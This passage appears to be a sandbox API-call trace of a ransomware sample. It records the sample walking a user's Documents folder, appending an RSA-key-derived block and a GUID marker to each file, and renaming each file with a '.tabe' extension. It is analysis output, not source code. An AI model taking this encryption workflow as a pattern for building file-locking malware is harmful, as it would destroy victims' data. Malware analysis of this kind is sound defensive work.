Files\\voeimd@djhreuu.uhd.pst.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.tabe")) returned 1 [0126.895] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0126.895] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.895] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.895] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.895] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0126.895] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.895] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.896] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.896] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.896] PathFindFileNameW (pszPath="") returned="" [0126.896] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.896] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.896] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e18e1e0, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x7c192100, ftLastAccessTime.dwHighDateTime=0x1d5e28f, ftLastWriteTime.dwLowDateTime=0x7c192100, ftLastWriteTime.dwHighDateTime=0x1d5e28f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2Y7bkGdlV xSV8hevV3C", cAlternateFileName="2Y7BKG~1")) returned 1 [0126.896] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e34efa0, ftCreationTime.dwHighDateTime=0x1d5d9a3, ftLastAccessTime.dwLowDateTime=0x62f25bd0, ftLastAccessTime.dwHighDateTime=0x1d5e3af, ftLastWriteTime.dwLowDateTime=0x62f25bd0, ftLastWriteTime.dwHighDateTime=0x1d5e3af, nFileSizeHigh=0x0, nFileSizeLow=0x17d6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="65qMw-bEHQiCteRSq.rtf", cAlternateFileName="65QMW-~1.RTF")) returned 1 [0126.897] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\65qMw-bEHQiCteRSq.rtf") returned=".rtf" [0126.897] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\65qMw-bEHQiCteRSq.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\65qmw-behqictersq.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.897] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=6102) returned 1 [0126.897] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.898] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.898] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.899] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x17d6, lpOverlapped=0x0) returned 1 [0126.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.900] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0126.901] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.901] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.901] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.901] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.901] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.901] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0126.901] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.901] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.901] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.901] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.902] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.902] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.902] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.902] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.902] CloseHandle (hObject=0x618) returned 1 [0126.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\65qMw-bEHQiCteRSq.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\65qmw-behqictersq.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\65qMw-bEHQiCteRSq.rtf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\65qmw-behqictersq.rtf.tabe")) returned 1 [0126.904] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b06220, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x675a81e0, ftLastAccessTime.dwHighDateTime=0x1d5de12, ftLastWriteTime.dwLowDateTime=0x675a81e0, ftLastWriteTime.dwHighDateTime=0x1d5de12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="68HVN", cAlternateFileName="")) returned 1 [0126.904] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec27cb0, ftCreationTime.dwHighDateTime=0x1d5db90, ftLastAccessTime.dwLowDateTime=0xaa76ed20, ftLastAccessTime.dwHighDateTime=0x1d5dac9, ftLastWriteTime.dwLowDateTime=0xaa76ed20, ftLastWriteTime.dwHighDateTime=0x1d5dac9, nFileSizeHigh=0x0, nFileSizeLow=0x10ddc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="eqiMJjf.odp", cAlternateFileName="")) returned 1 [0126.904] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\eqiMJjf.odp") returned=".odp" [0126.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\eqiMJjf.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\eqimjjf.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.905] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=69084) returned 1 [0126.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.906] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10db6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.906] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.908] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10ddc, lpOverlapped=0x0) returned 1 [0126.908] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.908] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.908] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.908] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.909] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.909] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.909] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.910] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.910] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.910] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.910] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.910] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.910] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.910] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.911] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10ddc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.911] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.911] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.911] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.911] CloseHandle (hObject=0x618) returned 1 [0126.912] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\eqiMJjf.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\eqimjjf.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\eqiMJjf.odp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\eqimjjf.odp.tabe")) returned 1 [0126.913] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4066ea20, ftCreationTime.dwHighDateTime=0x1d5e25d, ftLastAccessTime.dwLowDateTime=0x35e83a40, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x35e83a40, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="KHLX_z_BzgqT1ccr3g5", cAlternateFileName="KHLX_Z~1")) returned 1 [0126.913] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a97a0, ftCreationTime.dwHighDateTime=0x1d5e08b, ftLastAccessTime.dwLowDateTime=0x6733c450, ftLastAccessTime.dwHighDateTime=0x1d5da12, ftLastWriteTime.dwLowDateTime=0x6733c450, ftLastWriteTime.dwHighDateTime=0x1d5da12, nFileSizeHigh=0x0, nFileSizeLow=0x16542, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="KTYuqOmFily7OS.pps", cAlternateFileName="KTYUQO~1.PPS")) returned 1 [0126.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KTYuqOmFily7OS.pps") returned=".pps" [0126.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KTYuqOmFily7OS.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\ktyuqomfily7os.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.914] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=91458) returned 1 [0126.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.915] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1651c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.915] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.916] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16542, lpOverlapped=0x0) returned 1 [0126.918] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.918] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.918] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.918] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.918] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.918] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.918] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.919] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.919] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.919] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.919] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.919] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.919] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.919] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.920] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16542, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.920] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.920] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.920] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.920] CloseHandle (hObject=0x618) returned 1 [0126.921] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KTYuqOmFily7OS.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\ktyuqomfily7os.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 